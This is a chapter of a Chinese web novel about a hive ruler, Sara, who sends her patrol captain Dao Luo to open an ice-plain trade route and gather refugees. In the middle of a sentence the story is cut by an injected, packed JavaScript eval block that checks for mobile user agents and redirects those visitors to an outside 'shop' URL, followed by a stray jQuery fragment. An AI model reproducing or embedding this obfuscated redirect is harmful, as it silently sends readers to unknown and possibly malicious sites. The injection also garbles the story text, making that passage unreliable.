南丘几乎是跑着进来的,手里那份刚打印出来的数据板,因为急促的呼吸而微微颤抖。
他完全没注意到角落里那个散发着低气压的高大身影,也没注意到萨拉有些凌乱的发丝。
“巢主,萤芯系统的覆盖率已经达到百分之百。现在,哪怕是幼崽手环里的几分几厘,都能实时显示在总控屏上。”
萨拉“嗯”了一声,随手扯过椅背上搭着的外衣,披在那件丝质睡衣外面,遮住了那一抹冷白。
“说重点。”
“是,”南丘深吸一口气,平复着心跳,“根据这三天的流量监测,我们发现了一个很有趣的现象。”
他调出一张三维地图,上面密密麻麻地标注着光点,“以前,我们的虫族只在塔巢周边二十公里活动,但现在——”
地图上,代表安全路径的蓝色线条,正向四面八方疯狂延伸。
“贸易路线在扩张,”南丘指着那些线条,指尖都在发烫,“绿洲巢、磐石巢,包括远在北方的风暴巢,都在和我们交易物资。”
萨拉的目光扫过屏幕,眸子里闪过一丝满意的冷光。
“但是,”南丘话锋一转,有些担忧,“贸易量太大,现有的仓储和护卫队已经超负荷了。特别是那条通往风暴巢的冰原线,沿途有不少流浪的污染物。我们的雌虫虽然强,但长途奔袭,补给跟不上。”
“我去吧。”刀罗的声音从角落里传来。
他的衣服扣子扣到了最上面一颗,仿佛把刚才所有的失态都勒死在皮肤之下,声音也恢复了该有的冷硬,“我以前在那一带杀过虫。”
“这次不是去杀敌,”萨拉指尖在冰原线上轻轻一点,那是荒芜之地的死穴,“你去把那条路打通,变成我们的路。”
“带上灰猛,”萨拉继续道,语气是不容置疑的命令,“让他把沿路的驿站建起来,每二十公里,必须有一个补给点。”
“还有,让辰蔓配合你,随队带上医疗组和幼崽保育箱。如果有流民愿意归附,甄别后,带回塔巢当劳力。”
“是,”刀罗重重点头,眼底有火焰在烧,那是对她认可的贪恋。
“至于你,”萨拉看向南丘,语气稍缓,“教育板块的扫盲率,三个月内必须提升到百分之六十,我要让每一个归附的流民,都能看懂手环上的信息。”
“是,巢主!”南丘激动得差点把眼镜甩出去。
布置完一切,南丘识相地退下。
主控室重归寂静。
刀罗站在地图前,目光死死盯着那条向北延伸的冰原线。那是荒芜之地,也是他曾经作为处决者,最熟悉的坟场。
萨拉走到他身侧,与他并肩而立。
她的指尖落在他胸前那枚象征着巡防总教官的银色徽章上。
“记住,”萨拉的声音冷冽而坚定,“打通了路,就回来。你的功勋,我亲自帮你记。”
“那你算清楚,”刀罗侧过头,声音带着一丝只有她能听懂的侵略性,“如果我带回来的,比你预想的多,你是不是要多付点?”
萨拉轻轻弹了弹徽章,动作随意,却带着所有权的意味。
“那就看你有没有那个本事了,巡防队长。冰原线不太平,别死在外面。”
刀罗眼底有火焰在烧,那是一种近乎于宣誓的狂热,“没听见你亲口算完帐之前,我死不了。”
-
翌日清晨,塔巢大门开启。刀罗骑着一只健壮的地行龙,身后是二十名精锐巡防队员,以及几辆满载物资和随行虫族的运输车。
灰猛被巢主钦点出任务,满脸都是憋不住的兴奋。辰蔓则坐在运输车上,对未知的路途有些忧心忡忡。
“出发。”刀罗一勒缰绳,声音在寒风中传得很远。
车队缓缓驶入荒原,卷起漫天黄沙。
萨拉站在高高的城墙上,看着那支队伍变得越来越小,最终变成一个黑点,消失在地平线上。
南丘凑了过来,看着屏幕上的定位光点:“巢主,刀罗阁下这次带的物资,是我们库存的四成,如果他回不来……”
“他回不来,我就去把那片冰原犁平。”萨拉冷冷地打断,目光却始终没有离开那个光点,仿佛要用目光为他铺路。
-
夜幕降临,冰原线上,第一站营地。
篝火噼啪作响,驱散着刺骨的寒意。
刀罗坐在火堆旁,手里拿着一根木棍,在沙地上划拉着复杂的算式。
一队虫一天的口粮消耗,运输车的能量损耗,驿站建设的材料,预估这些数字,比杀十个污染物让他更费脑子。
他忽然停下手中的木棍,操作着手环联系,“南丘。”
通讯器那头立刻传来声音,带着一丝紧张:“刀罗阁下,我在!”
“告诉巢主,”刀罗看着沙地上的账目,声音沉稳而笃定,“今日消耗比预算少了十分之三,盈余的工分,记在她的账上。”
“啊?”南丘一愣,“记在巢主账上干嘛?”
“那是她给我的本钱,”刀罗把最后一点干粮塞进嘴里,“赚了,自然要分她红利。”
通讯器那头沉默了两秒,随后传来南丘憋笑的声音:“好嘞,我这就去汇报!”
塔巢主控室。南丘捂着嘴,肩膀一耸一耸地把话传了过去。
萨拉听完,只是伸出手,在键盘上敲了几下,将一笔所谓的“红利”记录在了刀罗的名下。
“蠢货,”她低声骂了一句。
那个曾经只懂杀戮的疯子,现在开始学着给她赚工分了。
屏幕上的光点,在冰原的寒夜里,坚定地向北移动。
那是她的刀,正在为她开疆拓土。
-
寒风如刀,刮过死寂的冰原。
刀罗骑在地行龙上,深灰色的巡防制服早已被冰霜覆盖,硬得像一层黑色的冰甲。他身后,精锐队员沉默地行进,呼出的白气在零下几十度的低温中,瞬间凝结成冰渣。
“刀罗阁下,”灰猛上前,胡茬上挂满了白霜,“前面就是断喉谷,以前是流民和污染物的必经之路,地势险恶。”
刀罗抬起手,示意队伍停下。琉璃色的瞳孔在风雪中微微眯起,穿透了漫天的白茫。
他看见了,谷口几只形似秃鹫的飞行污染物,在低空盘旋,伺机扑向谷内那群瑟瑟发抖的流民。
那些流民大多衣难蔽体,在雪地里刨食,瘦得只剩下一把骨头。
“以前,”刀罗的声音在风雪中响起,“我会杀光他们,不管是污染物,还是抢食的流民。”
灰猛一愣,等着下文。
“现在,”刀罗双腿一夹龙腹,地行龙猛地窜出,“我只杀污染物。”
黑色的身影,如离弦之箭,冲入谷口。
没有激烈的搏杀,只有骨骼碎裂的闷响,以及污染物临死前的凄厉嘶鸣。
刀罗的动作快得只剩残影,每一次挥臂,都精准地切断污染源。
十分钟后,谷口安静了。那些流民惊恐地缩成一团,看着那个从高处冰堆上跃下的黑色死神。
刀罗走到他们面前,声音透过风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496413|202524||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪,砸在每个流民的耳膜上,“南方的萤光塔巢,收留会干活的虫,想加入的就上前报名。”
一个胆大的流民颤声询问,“那我们,有饭吃吗?”
“你们劳动,会获得工分。想要有热饭吃,有暖屋住,就要付出工分。想趁机生事的,就去喂污染物。”
流民们听后,眼中燃起了一种名为希望的火焰,眼前的虫给了他们活路。
-
塔巢主控室,南丘正盯着屏幕,看着那个代表刀罗的光点,在冰原线上缓慢移动。
代表着归附流民的数字,正在一点点跳动。
“巢主,”南丘推了推眼镜,语气里满是惊叹,“刀罗阁下太狠了,他这哪是去交易物资,根本是去圈地盘啊,沿途收拢的流民,已经超过两百虫了,且大多数是雌虫。”
毕竟,雄虫在极端恶劣的情况下,没有活下去的资格。
萨拉坐在高背椅上,指尖敲击着扶手,“他比任何虫都懂,活下去的艰难。”
“通知辰蔓,准备好幼崽保育箱。那些流民里,或许还有能就活下来的幼崽。”
冰原线上,临时营地。辰蔓正指挥着随行队员,搭建简易的保温棚。
“快点,那两个个幼崽已经冻僵了!”她回头,看向那个站在风雪中,如同定海神针般的雄虫。
“刀罗阁下,”辰蔓走近,声音里带着一丝敬畏,“保育箱里的温度在下降,这里的天气,比预想的还要恶劣。”
刀罗转过身,一股温润的、属于萤骨的能量,顺着他的手臂,缓缓流淌进保育箱。
那两个原本奄奄一息的幼崽,在回升的温暖中,发出了微弱的啼哭。
辰蔓震惊地看着这一幕。
她一直以为,刀罗阁下只会杀戮。没想到,那双撕碎污染物的手,也能如此精准、温柔地控制能量,去呵护最脆弱的生命。
刀罗收回手,“继续赶路,今晚,必须赶到下一个驿站遗址。”
-
刀罗带队又急行了二十公里后,不得不停下安营扎寨。
深夜,风雪更狂。刀罗坐在篝火旁,手里拿着算筹,继续计算——
收拢两百多流民,需要消耗多少口粮,能产出多少劳动力,能为塔巢增加多少工分。
这笔账,他必须算得清清楚楚,因为那是他要给萨拉分的红利。
“刀罗阁下,”灰猛凑了过来,递过一块干硬的光薯饼,“吃点吧,您这一天,都没进食了。”
刀罗接过饼,看着那跳跃的火焰,忽然开口,声音低沉:“灰猛。”
“在!”
“你以前,觉得我是什么样的虫?”
灰猛愣了一下,挠了挠头发上的冰渣:“以前?以前觉得您是……现在……”
他顿了顿,看着刀罗胸前那枚徽章,眼神里满是崇拜,“现在,您是咱们塔巢所有雄虫的偶像,是给我们这些虫子,寻找活路的神。”
刀罗狠狠地咬了一口光薯饼,干硬,无味。
但想到萨拉看到他带回来的红利时,那双清冷眸子里可能出现的、一丝丝满意,就充满了动力。
萤光塔巢。
深夜,萨拉依旧坐在主控室里,看着屏幕上的光点已经停止了移动,那是刀罗今夜的宿营地。
她伸出手,指尖在键盘上敲击,[红利,收到了]。
冰原深处,刀罗的手环震动了一下,他抬起手腕,看着那条冷冰冰的信息。
瞳孔里原本凝固的冰层,在这一刻,终于裂开了细微的缝隙,照进了暖光。